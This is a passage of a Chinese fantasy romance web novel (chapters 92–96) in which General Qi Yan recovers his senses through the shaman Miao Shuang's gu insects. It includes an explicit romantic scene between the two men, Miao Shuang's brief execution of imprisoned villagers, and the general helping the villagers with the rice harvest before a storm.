他无意窥探别人的隐私,用来抵御的内力还是再增加一些吧。 艰难调整好了,他结束打坐,起身去找苗霜。 苗霜正在院中,手里捧着个空了的虫罐,看着面前垂头丧气的向久,笑眯眯道:“去给我找回来。” “我错了阿那!”向久抱住他的腿,眼泪汪汪地求情,“这山这么大,我去哪里找一只小小的虫子啊!” “别废话,”苗霜把虫罐塞给他,“找不回来你就别吃饭了,我说到做到。” 向久绝望大叫:“啊!!” 小孩尖锐的嗓音吵得祁雁脑子嗡嗡的,他揉了揉发疼的耳朵,轻声唤道:“夫人。” 向久哭丧着脸出去找虫子了,苗霜回过身来:“怎么?” 祁雁一把拉住他的手。 无比清晰的视野当中,苗霜的面容比以往任何一刻都更加漂亮精致,他甚至能看清每一根纤长的睫毛,看清那猩红虹膜上每一丝细致的纹路,幽深的瞳孔仿佛能摄人心魄,妖异又美丽。 祁雁下意识地滚动了一下喉结。 见他叫住自己又半天不说话,苗霜不解:“到底什么事?” 祁雁猛地将他拽向自己,用力吻住了他的唇瓣。 苗霜:“……” 滚烫的气息席卷而来,无数汹涌的情绪在其间翻搅,他被祁雁紧紧抱进怀中,这种时候,肢体的语言更胜过苍白的字句。 祁雁肆无忌惮地吻着他,毫不在意圣子还没走远,刚拌完嘴的两个部下正从屋里出来,三双眼睛齐刷刷盯着他们。 某人过于激动,甚至忘了换气,终于停下来时自己都有些缺氧,他扶着苗霜的肩膀,黑眸亮得惊人,嗓音近乎颤抖:“苗霜,我好了,彻底好了。” 第93章 第 93 章 将军一言不发,只是埋头…… 苗霜抬头看他。 那双黑眸中倒映着他的身形, 终于不再是先前的失焦和死寂,那眼神浓烈又炽热,目不转睛地盯着他, 似乎要把他身上的每一处细节都看个清晰明白,不肯遗漏分毫。 “真好了?”他问。 祁雁用力点头。 苗霜:“再靠近些, 我给你看看。” 祁雁不疑有他,又把自己的脸向他凑近, 苗霜认认真真将他打量一番,手指在他脸上摸了摸。 祁雁正有些疑惑,给他检查五感恢没恢复,摸他脸干什么,就感觉对方的手才装模作样地“检查”了没两下,便原形毕露,飞快地向下游移,直朝着他颈间去了。 喉结边的小痣被用力一捻。 “……唔!”剧烈的刺激席卷脑海,蔓延向全身, 比以往体验过的还要更强烈数倍,祁雁瞬间大脑空白, 只感觉浑身发软,身形都跟着晃了晃。 喉咙里滚出又是难受又是舒服的哼哼,他差点直接立了。 站在不远处观察的赵戎牙疼似的一咧嘴角,低声问:“这是在玩什么?” 姜茂:“看不懂。” 苗霜满意地欣赏着某人痛苦又愉快的表情,笑吟吟道:“不错,的确好了。” 祁雁:“……” 怎么回事…… 那股让人骨头发酥的刺激半天才过去, 他难以置信地看向对方,哑着嗓子道:“你……刚才对我做了什么?” “什么做什么?不是说了,帮你检查吗, 你的视力听力都恢复了,这我看得出来,味觉有没有恢复,等下吃饭就知道了,所以我只能帮你检查检查触觉——现在看来恢复得很好,我这铤而走险的治疗方案,也算是大获成功了。” 祁雁小心翼翼地摸了摸脖子上的小痣,还心有余悸,不用看也知道它现在肯定又变红了。 所以……他的触觉也变灵敏了? 祁雁不敢相信,偷偷用指甲掐了掐自己的手心。 好疼。 这下可糟了,别的感官便得灵敏不算坏事,但触觉……可实在算不上好。 “放心,你只是重病初愈,还不太适应罢了,失去感官后再恢复,自然会觉得感官比以前更加灵敏,心因作祟,其实并不见得真灵敏了几分。” 祁雁将信将疑。 他以前可不能隔着十丈远看清草丛里的蚂蚁搬运食物先迈哪条腿,还能听到蚂蚁的脚步声。 “等过几天你适应过来就没事了,”苗霜道,“或者你也可以尝试用内力压制,让感官变得不那么灵敏。” 除了这个却也别无他法,祁雁沉默片刻,问道:“那你呢?你的感官也这么灵敏,不会觉得很吵吗?” “吵自然是吵的,不过我很小的时候就已经学会了通过控制蛊虫来改变感官的灵敏程度,这点吵闹还不能把我怎么样。” 听他这么说祁雁便放心了,苗霜虽不习武,办法却比他们这些习武的更多。 中午吃饭时,祁雁发觉自己的味觉果然也恢复了,之前几天他因为没有味觉,吃什么都味同嚼蜡,不怎么吃得下去饭,今天好不容易恢复,忍不住多吃了两碗。 本来还想喝点酒,结果被辣到呛住,再也不敢喝了。 被圣子弄丢的蛊虫还是没有找回来,苗霜却也没真罚他不准吃饭,只命令他吃完了继续找,向久苦哈哈地趴在草丛里找虫子,祁雁见他实在可怜,便蹲下来陪他一起找。 顺便测试一下自己这加强过的听力和视力究竟如何。 结果两人找了一下午,把附近能翻的地方全翻遍了,还是一无所获。 等到了晚上,苗霜才放过圣子:“行了,别找了,蛊虫早自己回到我这里了。” “什么?!”向久惊得一蹦三尺高,“阿那你骗我!” 苗霜一挑眉梢:“让你长个教训,看你以后还敢不敢再放跑我的蛊虫。” 向久:“呜呜呜呜阿那你欺负人!” 祁雁:“……” 所以,他在这里陪这俩人折腾一下午是干什么呢? 苗霜明明看见了他在帮向久找虫子,却不提醒他,绝对是故意的吧? 大概也是对他多管闲事的惩罚,苗霜要罚圣子,他非要跟着掺和,索性把他一起罚了。 祁雁不禁有些牙痒,心道这大巫捉弄人真是有一手,偏偏他还挑不出他什么毛病,毕竟人家没逼他,是他上赶着凑热闹。 祁雁叹口气,转身上了楼。 陪圣子趴在地上找了一下午虫子,现在他衣服上都是土,便让明秋帮忙烧了热水,认认真真洗了个澡。 将身体浸在热水中,他慢慢闭上眼睛,这大概是他近几年来最舒服的一天,一切病痛离他远去,他全身放松地靠在浴桶里,可以暂时将头脑放空,什么都不去想。 若是日日都能像今天一样轻松就好了。 纵然知道闲暇短暂,他还是忍不住享受当下,至少在这一刻,他不必和谁斗心斗角,不必与谁拼死相搏,痛痛快快地洗完这个澡,就是他当下要做的全部。 从浴桶里出来时,他只感觉筋骨都被热水泡得懒散了,慢慢用毛巾擦着头发,捋干发梢上的水,回到房间,他脚步忽然一顿。 苗霜单手撑着脑袋,懒洋洋地躺在床上,似乎正在等他:“洗那么久,你是洗到一半睡着了?” “没,”祁雁走上前去,“夫人这是在等我睡觉?” “是啊,等你‘睡觉’。” 被刻意强调的两字伴随着他漫不经心的嗓音,像是挠人的小钩子轻轻刮过祁雁心头,不知是不是视力变好的缘故,他总觉得今天的苗霜格外好看,屋里明明没掌灯,他的视野却依然清楚,大大提高的夜视能力让夜晚和白天没有太大区别。 他在苗霜身边坐了下来,这段时间他一直在治伤,已经许久没和他亲热了,他一度以为自己此生再也没有这样的机会,一度以为那个满是遗憾的吻就是他们最后的告别。 现在看来,他的运气似乎也没有那样差。 他慢慢凑近对方,覆上唇去,继续进行白天那个意犹未尽的吻,这一次再没有其他人打扰,没有讨厌的家伙在一旁偷看。 苗霜勾住他的脖子,轻轻啃咬他的嘴唇,似在与他缠绵,又似在发泄不满,他至今还记得祁雁濒死时的景象,说不后怕是假的,只差一点,他们就又要生离死别了。 他从不怕死,只怕死前不能得偿所愿,只怕这好不容易得来的机会又与他失之交臂。 触觉变得敏锐,刺痛和麻意也比平常更加强烈,祁雁很快就进入了状态,颈间小痣变得殷红,他有些迫不及待地伸手探向对方,心跳一下一下撞击在胸前,解开腰带的指尖近乎发抖。 他还能再拥有苗霜,还能再一次占有苗霜。 巨大的喜悦将他击中,甚至超过了身体痊愈的愉快,他抬起对方的腿放在自己肩上,无所顾忌地亲吻着他。 苗霜也配合着他的动作,虽然双修功法没了,做这种事也不能增进功力,但纯粹获得精神和身体上的满足也是一种乐趣,不过这次祁雁的反应好像比他预想中更大……他以前也没做过用蛊虫帮人重塑经脉这种事,感官真的会变得那么灵敏吗? 祁雁从不知道人可以这样紧,温暖和柔软将他包裹,也不知是太多天没碰了,还是灵敏的触觉在作祟,他感觉自己浑身都在发抖,呼吸不可抑制地急促起来。 “快点啊,”苗霜开口道,“晚上没吃饭?” “……” 苗霜的催促让祁雁眉头狠狠一压,没有一个男人可以忍受被妻子质疑不行,他一言不发,只是埋头苦干,又觉得在今天做事实在不是个理智的选择。 太强烈的刺激让人脑子都要炸了,哪怕是蹭过一处细微的褶皱都能感觉得一清二楚,他清楚看到苗霜脸上的表情,看到他的眉头何时因触碰到了而微微蹙起,看到他的眼神何时因为愉快而迷离。 一点点细微的表情变化都落在他眼中,让他忍不住想要反复欣赏,指尖探进他微微张开的唇,用力按在尖锐的齿尖,试图用疼痛稍微中和,免得自己发泄在不合时宜的时刻。 有好几次祁雁都差点没忍住,在临界点反复徘徊让人意识模糊,他啃咬着苗霜的耳尖,轻轻惩罚这个罪魁祸首,觉得这份苦不能自己一个人承受,也要让对方陪他一起。 这个夜晚似乎比以往的任何一天都漫长且难忘,已经不记得最后究竟是谁先撑不住了,祁雁伏在苗霜肩头,整个人压在他身上,无声的汹涌冲刷不停。 经脉似乎因此完完全全地活络起来,真气自行在体内游走,很快又弥补上了亏空。 苗霜听着耳边粗重的呼吸,心情相当好,他懒散的嗓子带着些鼻音:“怎么样,感觉还不错吧?” 祁雁抬起头来。 “这样的状态维持不了几天,趁着这个机会多尝试尝试,错过了可就不再……唔……” 祁雁休息了一会儿,又恢复了精神,果断堵住了他的嘴。 “那夫人也要陪我一起,万万不可中途退缩才是。” 第94章 第 94 章 我无趣,夫人便不喜欢了…… 两人一直折腾到天蒙蒙亮才睡下, 或许是身体的康复让某人过于兴奋,劳累了大半宿也不见疲态,终于结束时, 还有些意犹未尽。 两人很果断地直接睡到了中午,明秋来唤他们吃饭时才起床。 苗霜本来还想再睡会儿, 但也确实有点饿了,通宵达旦地做事太消耗体力, 哪怕他是被做的那个。 勉为其难地吃了顿饭,饭桌上苗霜哈欠连天,浑身上下充斥着懒散和餍足,导致向久看他们的眼神都变了,默默抱着自己的小碗躲到一边吃,不愿意坐大人这桌。 苗霜浑身倦懒,饭也吃得心不在焉,祁雁十分怀疑他这个挑三拣四的吃法迟早有一天会把自己饿死,便主动给他拆了几块鱼肉, 放在他碗里。 伸筷时,视线无意中掠过自己的手腕, 忽然一停。 奇怪,他明明记得昨晚苗霜做到最后不想做了,疯狂咬他让他停下,手腕被他咬出了血,怎么现在一点痕迹都没有了? 他又摸了摸自己颈边,肩头, 皮肤十分平滑,没有任何伤痕。 早上……不,中午起床时竟没注意, 这些伤口是什么时候愈合的? “找什么呢?”苗霜看着他在自己身上摸来摸去, “别找了,那些伤不会过夜。” 祁雁停下动作,抬起头来:“什么意思?” “不是跟你说了,我用蛊虫帮你重塑经脉,你若熬过去了,会获得和我一样的自愈能力,以后,皮肉伤轻易奈何不了你,即便是伤筋动骨,也会不日痊愈。” 祁雁:“……” “以后你打仗更方便了,反正你也不怕死,这回你更是想死都难,你这以一敌千的威名是时候改改,以后就叫以一敌万吧。”苗霜笑道。 祁雁看着自己的手,却没接话。 “怎么,不高兴?” 祁雁摇了摇头:“若世间再无战事,我便是一杀就死又如何,若战火连天,我百杀不死又能挽回什么?一柄无法折断的刀,只会让鲜血越流越多,苗霜,你应该深有体会吧?” “……”苗霜唇边的笑意忽而淡了,“你这人真是无趣,我跟你开玩笑,你偏要跟我说正事。” “我无趣,夫人便不喜欢了吗?” “我可从没说过我喜欢你,少给自己脸上贴金。” “哦,”祁雁的表情没什么变化,又夹了一筷子苗霜不爱吃的菜放进自己碗里,“那日大喊着不准我死的人是谁?不是夫人,难道还有别人不成。” 苗霜愣了一下。 什么? 那句话祁雁竟然听到了? 怎么可能,明明都弥留之际了…… 他表情变得有些微妙,嘴上依然不肯退让半分:“那又怎样?你答应我的事还没完成,我当然不能放你去死,不然我之前给你治的那些伤,在你身上浪费的功夫,消耗的蛊虫怎么办?你若死了,我去找谁讨回我的损失?” 祁雁点头:“嗯,我懂。” 他这反应让苗霜有些恼火,还想再呛他两句,又觉得说得太多有越描越黑的架势,索性还是闭上嘴,不说了。 两人各自安静地吃了会儿饭,说什么似乎都不妥,还是只能绕回正事,苗霜揶揄道:“你这杀人如麻的大将军,心愿却是天下无战火,自己不觉得好笑吗?若真有一天不打仗了,你又要去哪里,要靠什么吃饭?” “哪里好笑?要是不打仗了,我自然解甲归田告老还乡。” “回家种地?你会种吗?” “不会总可以学。” “再过些时日稻子就要收了,将军到时候记得去田里帮忙,可别纸上谈兵。” 祁雁:“……” 不就是戳穿了他一句谎言吗,至于这么不依不饶,报复心还真强。 见他不吭声了,苗霜料定他不肯,哂笑道:“既然这么不爱打仗,那你干脆也别造反了,你造反要死多少人,你想没想过?” “想过,但那也没办法,”祁雁垂下眼帘,“箭在弦上,已不得不发,我若不反,大雍也不会变得更好,战事不会停止,只会愈演愈烈,等真正到了分崩离析的那一天,死的人只会比现在更多。” “父亲总是教导我,战争的本意该是平息战争,‘武’字,止戈。” 苗霜没再接话。 现在的祁雁,似乎比以前更有主意了。 他从不怀疑祁雁是道心最坚定的人,只是他一直觉得,作为鸣川师兄,又或是泊雁仙尊的那个祁雁,身上还缺少点什么。 虽修苍生道,却不知自己为何而修苍生道。 只是无意中踏上了一段仙途,就被顺水推舟送到了仙道之巅,护佑苍生是青锋派的道,而不是他自己的。 一个勘不透自己道心的人,永远不可能真正悟道,即便他已是仙界第一人,却始终迈不出那最后一步,修为已臻化境,合道飞升却遥不可及。 现在的祁雁,算是找到自己的“道”了吗? “夫人怎么不说话?”祁雁见他许久不语,不禁开口询问,“是不认可我的理论吗?” “我又不带兵打仗,也不想当什么皇帝,你怎么想和我又没关系,我只要你兑现承诺,只要最后的结果,具体过程我不在乎,你爱做什么做什么。”苗霜道。 祁雁嗯了一声,觉得苗霜说的没错,在饭桌上讨论这些事确实无趣,干脆结束了这个话题:“夫人放心,不会太久了。” 话音落下,屋外突然起了一阵风,刮得窗扇砰一声关上。 院子里的树木簌簌抖动,苗霜看着晃动的树影:“雨季要来了。” 祁雁:“嗯?” “得亏你已经好了,不然凭你这一身伤,怕是要被阴雨泡烂,”苗霜看向他,“你身上的旧伤可好利索了?” “已经痊愈了。” “那就行,还有你身上那些旧疤,会慢慢消失,我就不再帮你弄了,去疤的蛊虫太难养,之前你昏迷的时候下了一场雨,我没留神,先前养的那批蛊虫都死完了,养一次就要几个月,我是烦了。” 祁雁仔细琢磨着他这话,颇听出几分“关心则乱”的意味,忍不住扬起唇角。 苗霜莫名其妙:“笑什么?我损失惨重,你在这里幸灾乐祸?” 祁雁急忙正色:“并没有,夫人多心了。” 苗霜冷笑:“既然好了,别忘了到时候去田里帮忙。” 祁雁:“……” * 且不论祁将军什么时候去田里帮忙,苗霜先挑了个好日子,去处理了那十六个谋害圣子的苗民。 这些人被虫噬折磨了这么久,却一直没死,苗霜不想让谁死,他做梦都别想断气。 之前他说祁雁什么时候活,就允许他们什么时候死,其实祁雁早就活了,但他一时半会儿也没顾得上,反正不差那么几天,晚点就晚点。 现在祁雁也好了,他说话算话,来送他们上路。 再次进入深山时,已经连那些人的呻|吟都听不到了,连日来的折磨已经让他们神志不清,好几个已然是疯了,竟在那里哈哈大笑,口角流涎。 之前骂他的人也再没力气骂他,个个形容枯槁,双眼无神。 苗霜也已经不想再看见他们了,直接给了他们个痛快,数不清的蛊虫将他们分食而死,眨眼之间只剩一堆白骨。 林子里甚至没有响起惨叫声,只有虫群的嗡鸣,聚集又散去。 苗霜心情很好地走在回去的路上,白蛇趴在他肩头,震慑着蛇群不敢靠近。 他回到寨中,先去告知款首人已经处死了,随后回到自己的吊脚楼。 今天家里出乎寻常地热闹,原因无他,那几个该死的家伙又在折腾,祁雁拿了姜茂的刀,和赵戎切磋武艺,姜茂坐在一边陪向久看医书。 自从姓祁的身体好了,就一刻都闲不下来,他经脉虽然已经修好,但失去的内力还得重新练,二十多年的功力散尽,想练回来并非一朝一夕的事。 刚好的时候和苗霜荒唐了几天,等到五感渐渐恢复正常,便开始没日没夜地苦练——说没日没夜或许太夸张了,但苗霜的确是早上一睁眼就看见他出去了,晚上闭上眼的时候他往往还没回来。 三十岁的人精力还这么旺盛,他是不是蛊虫用得太多了? 刀刃相碰发出金鸣之声,地上的落叶都被气浪震开,苗霜诧异地看了一眼吹到脚边的叶子,心说这个季节哪来这么多落叶? 而且,这叶子明明还是绿的。 气浪爆炸,远处较劲的两人各自退开,祁雁飞身后掠,一脚蹬在树干上,卸去了爆炸带来的冲击力,同时借力纵跃,旋腕挥刀,再次与赵戎缠斗在一起。 树被他踹得又掉了一堆叶片下来,苗霜瞬间明白了,他眉头一拧,呵斥道:“给我滚出去打!” 正打到兴头上的两人哪里肯理会他,转眼间又过了数招,丝毫没有停下来的意思。 苗霜被气笑了,嘴角扯出一个不善的弧度。 正在交战的两人瞬间感觉头顶笼罩了一片乌云,两人同时停手抬头,只见一大群不知从哪来的蜜蜂正盯准了他们,嗡嗡作响,骇人至极。 祁雁瞳孔一缩,果断收刀入鞘,想也不想转身就跑,几个跃步已经到了向久身边,停步落座还刀一气呵成:“圣子今天也这么刻苦。” 向久和姜茂齐齐向他投去异样的眼神。 姜茂不情不愿地接了刀:“将军,您不讲武德。” 祁雁面不改色:“兵者诡道也。” 赵戎被蜂群追得满世界乱窜,就差跳井了,他逃回苗霜面前,实在是跑不动了,往地上一倒:“夫人您饶了我吧!都是将军逼我的!” 苗霜这才撤了蜂群,阴沉沉道:“再有下次,你们有一个算一个,都去给我当虫子的口粮。” 第95章 第 95 章 装模作样。 蜂鸣之声散去, 赵戎这才敢从地上爬起来,把自己身上仔仔细细检查了个遍,还好没真的被蛰, 不禁拍着胸口长舒一口气。 跟祁雁打了这么长时间,他也累了, 坐下来喝水休息:“这才几天,我已经要拿出五成功力跟将军打了, 只怕再过两个月,我就要打不过将军了吧。” “才五成,”祁雁似乎对这点成果还不太满意,“以前我跟你打才用五成。” “……今时不同往日,这几年我也是有进境的,不信你问姜茂,将军可不能拿过去的我衡量现在的我。” 姜茂没搭理他。 苗霜看了看他们,视线最终落在祁雁身上:“你也别太拼命了,身体才刚好。” 祁雁唇角一抬, 就要开口问一句“夫人是在关心我吗”,谁料还没出口, 就听苗霜不紧不慢地补上后半句:“年纪也不小了,别像个愣头青一样不知轻重。” “……”祁雁脸上的笑容倏而凝固。 赵戎在一旁忍笑,感受到来自将军的凝视,急忙倒水挠脸装作自己很忙。 姜茂莫名其妙地看着他:“愣头青骂的是你,你又在笑些什么?” 赵戎:“啊??” 苗霜走开了一会儿,回来时, 手上多了几样东西,将其中一样递给祁雁:“拿着,之前那个摔碎了, 拼不好,给你重新做了一个。” 祁雁接过,发现那是一张面具。 之前那张在跳崖救圣子时不慎损毁了,这段时间他一直在吊脚楼养伤,也没出去过,现在他身体好了,正愁这小院子地方不够他练武,苗霜就给了他面具,可谓是雪中送炭。 他点点头:“多谢夫人。” “还有这个,”苗霜又递给他两把刀,“以后别找你部下借了,这是专门给你打的刀。” 祁雁面上一喜:“夫人有心了。” 苗霜:“先别急着谢,刀可不是我给你买的,是款首要送你,刚才我去了一趟她家,顺便取来。” 祁雁顿了顿:“田款首送我刀?” “之前她来见你,就想代表所有感谢你的苗民送你件礼物,问我你需要什么,我说你缺把武器,她便派人去汉人的铁匠铺给你打了两把刀,应该是你们汉人的制式,我不太懂,你验验看吧。” 两把刀一长一短,一把横刀,一把障刀,长刀用来杀敌,短刀用来防身。 祁雁握住刀柄,横刀噌地一声出鞘,刀刃如雪,寒光四射。 “哇,这好刀啊!”赵戎凑了过来,用指尖在刀背上轻弹,“这声音,这一把刀估计不少钱呢!” 祁雁细细端详,看这刀的尺寸并非军中制式,而是民间制式,大雍允许民间锻造横刀,但因为工艺复杂,价格不菲,普通老百姓可买不起。 障刀刀身短小类匕首,多为防身之用,使用的人更多些,大部分铁匠铺都能打造,但也正因如此,质量参差不齐,想找一把真正的好刀反而不容易。 他检查了两把刀,质量皆算上乘,不比赵戎手里那把军刀差。 在民间能找到这么好的锻刀匠,田款首也算有心了。 赵戎看着他手里的新刀,又看看自己手中用了不知多久的旧刀,瞬间羡慕嫉妒起来:“将军,要不您去求求款首,给我俩也换把刀吧?天天被您拉着练武,我这刀都砍豁口了,您看!” 祁雁推开他的手:“想换刀自己去买,我又不是没给你们钱。” “您也太不够意思了……” 祁雁不再理会他,把苗霜拉到一边,低声问:“这刀……当真是款首送给我的?” “那不然呢?”苗霜奇怪地看着他。 不是款首送的,还能是他送的不成?是他的话才不会选择送刀,他更喜欢祁雁用剑。 “好吧,”祁雁略显失望,“我还以为,刀和面具一样,都是夫人送我的礼物。” 苗霜嗤之以鼻。 “好了,现在刀也有了,面具也有了,以后再练武给我出去练,别祸害我家里的东西。”他道。 “……知道了。” 于是从这天开始,祁雁把习武切磋的场地从苗霜家的院子搬到了附近没人的山中,没日没夜地修习,功力突飞猛进,短短一个月,赵戎就得拿出八成功力才能把他打赢了。 祁雁的进益速度让赵戎和姜茂颇有压力,也被激发出了斗志,每天天不亮三个人就出了门,除了吃饭,其他时间都泡在山里。 苗霜是看不懂他们到底在较什么劲,也懒得管,这几个家伙不在,他还乐得清闲。 但祁雁天天不着家也挺烦的,晚上跟他亲密的次数少了倒另说,关键他不太放心他的身体,就算用蛊虫重塑过,也禁不起这么折腾。 得想个办法让他老实点。 转眼就到了夏收时节,这天,苗霜正打算让明秋早点把他们喊回家吃饭,一抬头,却看到祁雁正站在自家楼顶,不禁惊讶道:“你从哪里冒出来的?” 祁雁从楼顶一跃而下,身形一闪,已来到他面前:“刚去寨子里逛了逛,那边有条小路,我便抄近路回来了。” 苗霜向四周张望,他从不记得回他家除了走正门还有什么小路,表情变得有些微妙:“飞檐走壁的‘小路’?” 祁雁:“唔。” “这段时间武功见长,轻功也练好了是吧?”苗霜笑吟吟地看着他,“你这么闲,不如……” “明天我就去田里帮忙。”祁雁先他一步开口道。 “……”他这么主动,苗霜反而有些怀疑了,“当真?” “总是练武也没意思,不如做点别的事,”祁雁道,“方才我在寨中闲逛,观梯田之中金涛滚滚,甚是欢喜,圣子说得神灵指引,这几天将有大雨,若是被雨水耽误收割就糟了。” “明日我便带着赵戎他们去帮忙,夫人可要一起?”他问。 “不去,”苗霜果断拒绝,“从稻种播种前就是我在管,这要收割了还来找我?不如我当神灵算了,你爱去帮忙就去,反正别来烦我。” 祁雁本来也只是随口一说,见他这般不愿,便又多问了两句:“夫人既然不愿意管这些琐事,不如把那驭虫之法教给我如何?治理虫害什么的,我也可替夫人效劳。” 苗霜打量着他:“你想学驭虫?” 祁雁点了点头:“你不是说我能感知到蝴蝶,就是学会了虫语吗,既然我能学会虫语,想必也可以和它们沟通,驭使它们做些事吧?” 苗霜抱起胳膊:“你想学驭虫,究竟是想帮我分担杂活,还是想破除我的蛊术,偷偷解了我下在你身上的蛊呢?” 他说着看向对方喉结边,祁雁感受到他的注视,无奈叹气:“夫人多心了,我并无此意。” “那可不好说,就算你不解你身上的蛊,要是反过来给我下蛊可怎么办?”苗霜凑近了他,指尖轻轻擦过他的下颌,“比如,给我也种一个‘情蛊’,又或者对我的真言蛊做些手脚,让我测不出你是不是在撒谎。” 祁雁:“……” “我若真能对你下蛊,岂不是能接替你当大巫了?我自认为,没那个天赋。” “你现在可不已经是三分之二个大巫了。” “三分之二个?”祁雁愣了一下,“差的那三分之一在哪?” “差的那三分之一,就在你想学的驭虫,放心吧,就算我教你你也学不会,能听懂虫语已实属侥幸,想会说虫语,甚至通过虫语操纵蛊虫,比你杀了季渊自己当皇帝还难一万倍。” 看着他幸灾乐祸的表情,祁雁才反应过来自己被戏耍了,刚刚苗霜那么认真,他还以为真的能学,闹了半天只是在逗他。 他不禁气结:“你!” 苗霜笑着走远了,祁雁追了他两步,又停下来。 唇边扬起一抹不易察觉的笑意,他无奈摇头。 算了,某人高兴就好。 第二天,祁雁还真带着赵戎他们去帮忙了。 层层叠叠的梯田已被金色的稻浪覆盖,随处可见在稻田中忙碌的人影,三人穿行在田间小径,祁雁问:“你俩会割稻子吗?” “嘿,将军可别小瞧人,想我小时候也是帮爹娘在地里干活的,别说稻子了,种什么我都会。”赵戎得意道。 姜茂:“小的时候,邻里经常接济我,我没什么能报答他们,就挨家挨户给他们帮忙,有人让我帮忙割麦子,有人让我帮忙送货,什么都干过。” “那就行,”祁雁放下心来,“等下你们演示一个给我看。” 两人:“??” “闹了半天是您自己不会啊!”赵戎忍不住嘲笑出声,“那您还敢答应夫人,您也是真不怕丢人。” “有什么好丢人的?割稻子,难道比杀人更难?” “啊这……” “就这里吧,”祁雁停下脚步,“苗霜说这户人家的主人前两天不小心摔断了腿,现在家里只有个小孩,我们速战速决,这家结束还有下一家。” 三人说着就要分农具,赵戎急忙制止姜茂:“你等等,你别拿了。” 姜茂不解:“为什么?” “你这一只胳膊怎么割?割得乱七八糟,谁来帮你搬?这样,我和将军负责割,你负责搬。” 姜茂沉默了下:“你觉得我一只手好搬吗?” “别废话。” 三人分工合作,迅速开始收割这片稻田,盛夏的天气酷暑当头,戴着面具更是闷热无比,没多一会儿就汗出如浆。 杀人如麻的祁将军割起稻子来也是面不改色,手起刀落,金黄的稻杆一把把在田间堆积起来,姜茂只恨自己少一条胳膊效率减半,忙得顾头不顾尾。 但没过多久,就又有人加入进来替他分担,应该是这户人家的女儿,女孩看上去十二三岁,手脚麻利地帮他们搬起了稻子,还用苗语冲他们说了句谢谢。 远处,苗霜站在树下纳凉,视线遥望着三人所在的方向。 “装模作样。”他对着祁雁的背影,评价道。 又眉梢一挑:“倒还有模有样的。” 第96章 第 96 章 好刀须以人血祭 几只蓝色的蛊蝶穿过稻田, 其中一只落在祁雁肩头。 他立刻感觉到了什么,回过头,就看见某个说绝对不会来的家伙正顺着田间小径往这边走。 他不禁唇角一弯:“夫人怎么来了?” “什么?”赵戎停止闷头割稻子, 这才发现自己肩膀上也有只蝴蝶。 苗霜不紧不慢地来到他们面前:“只是来看看你们干得怎么样了,今天大概有雨, 你们抓紧些。” 赵戎拍着胸脯保证:“交给我们您就放心吧,这块田我们马上就割完了。” 苗霜点点头:“把面具摘了吧, 这么热的天气,小心闷死。” “还是大巫善解人意。” “善解人意”这个词让苗霜挑了挑眉,祁雁把面具推到头顶,故意问他:“夫人来都来了,真的不帮帮忙?” 苗霜瞥他一眼,拂袖一挥,似有清风自田间涤荡而过,扰人的蚊虫瞬间消失无踪。 “帮了。”他道。 祁雁:“……” 苗族小姑娘又跑来帮忙了,几人便不再聊, 苗霜转身离去:“我去那边看看,你们继续。” 他们很快收割完了这块田, 又马不停蹄地转战下一块,正忙得热火朝天,远处忽然传来一道稚嫩的嗓音:“要下雨了!” 祁雁抬起头来。 圣子正顺着小路狂奔,边跑边喊:“要下雨了!大家快点!” 原本还有条不紊的苗民们瞬间紧张起来,祁雁借着过人的耳力,听到他们的议论: “怎么又要下雨了, 今年的雨水也太充沛了吧。” “这雨时下时停,之前收的稻谷还没晾干呢,现在又要下了。” “别说了, 快收谷子,万一被雨水泡了,这两天全都白干了。” “我听圣子说,近两个月雨水都不会少,这可怎么办,官府可不会因为我们的损失少收半点税,还不要一点差粮,好粮食都上交给他们了,我们辛苦一年种出来的好粮,自己却吃不上一口。” “唉,谁说不是呢,上次祭神,我家用的都是发过芽的糙米,我到现在还良心不安,可又实在拿不出好米了。” “都别说了,快干活吧。” 四面八方的交谈声顺着暴雨来临前微凉的风送进耳中,祁雁听着人们的抱怨,皱了皱眉。 见他半天不动,赵戎凑上前来,压低声音道:“咱现在怎么办,还继续吗?” 祁雁回过神:“先不收了,把这些割好的搬到那边去吧。” “哎。” 不远处的空地上有提前搭好的雨棚,几人搬着稻子过去,将稻杆上的稻谷震落下来,装进竹筐里。 正在这时,平地里响起一声震天的雷鸣,过分灵敏的听力让祁雁耳边一阵剧痛,忍不住抬手去捂,几乎以为自己要被震聋了。 赵戎搬着最后一捆稻子,豆大的雨点劈头盖脸砸了下来,他忙三步并作两步窜进雨棚:“好大的雨!” 雨珠噼里啪啦地砸在雨布上,在头顶吵成一片嘈杂,所有的人声都淹没在雨水当中,方才还晴朗的天空此刻已是乌云密布。 田间还有没来得及撤离的苗民,被雨水浇得寸步难行,眼看着怀里的稻子就要散落,祁雁放下手中的东西,御起轻功,一个闪身就到了那人面前,帮他接过了一捆稻子,指了指雨棚的方向,顶着滔天雨声用苗语对他说:“去那边吧!” 苗民有些惊讶地看向他,点了点头:“谢谢!” 两人把稻子运回雨棚,祁雁又一头扎进雨中去帮其他人,赵戎和姜茂对视一眼,也加入其中。 三人借着轻功在田间穿梭,很快帮忙搬运完了所有稻子,人们在雨棚下聚集,努力抢救着这些被雨水打湿的稻谷。 苗霜撑着油纸伞,和圣子一起来到雨棚下,问道:“怎么样了?” “多亏了他们帮忙,割好的稻子都救下了,这雨太大,剩下的只能等雨停再收了。”一人道。 “圣子,雨神有没有告诉你,这雨什么时候能停?”另一人问。 向久:“至少……要下到明天了。” “这么大的雨要下到明天?”那苗民惊声道,“圣子,你能不能求求雨神,让雨早点停下?” 向久低下头:“抱歉……” 苗民叹了口气,没再说什么,竟冒着大雨又去田里收稻子。 气氛一时变得有些沉重,人们各自抢救着自家的稻子,谁也没再开口。 祁雁也被雨淋了个湿透,余光一扫,看到原本停在肩头的蛊蝶已经被雨点砸得掉在了胳膊上,两只翅膀都被打湿了,挣扎着往他肩头爬。 他有些于心不忍,伸手将蝴蝶接到自己指尖,凝聚内力蒸干了蝴蝶翅膀上的水,将它递还给苗霜,重新戴好了面具。 赵戎和姜茂也照猫画虎,苗霜收回蛊蝶,对众人道:“这雨一时半会儿停不了了,你们收拾好稻子就回家吧,这些时日都辛苦了,今天就早些休息。” 除此以外却也别无他法,今天的收割被迫终止,愁容满面的人们渐渐散去。 苗霜:“我们也走吧。” 他说着递来一把伞,来时他打着一把,拿了一把,却也没有更多了,两把伞怎么看也不够五个人打。 赵戎主动道:“我就不用了,晒了一下午,淋淋雨正好凉快。” 他淋着雨就往回走,姜茂撑伞牵着圣子,祁雁则接了苗霜那把,同他一起回去。 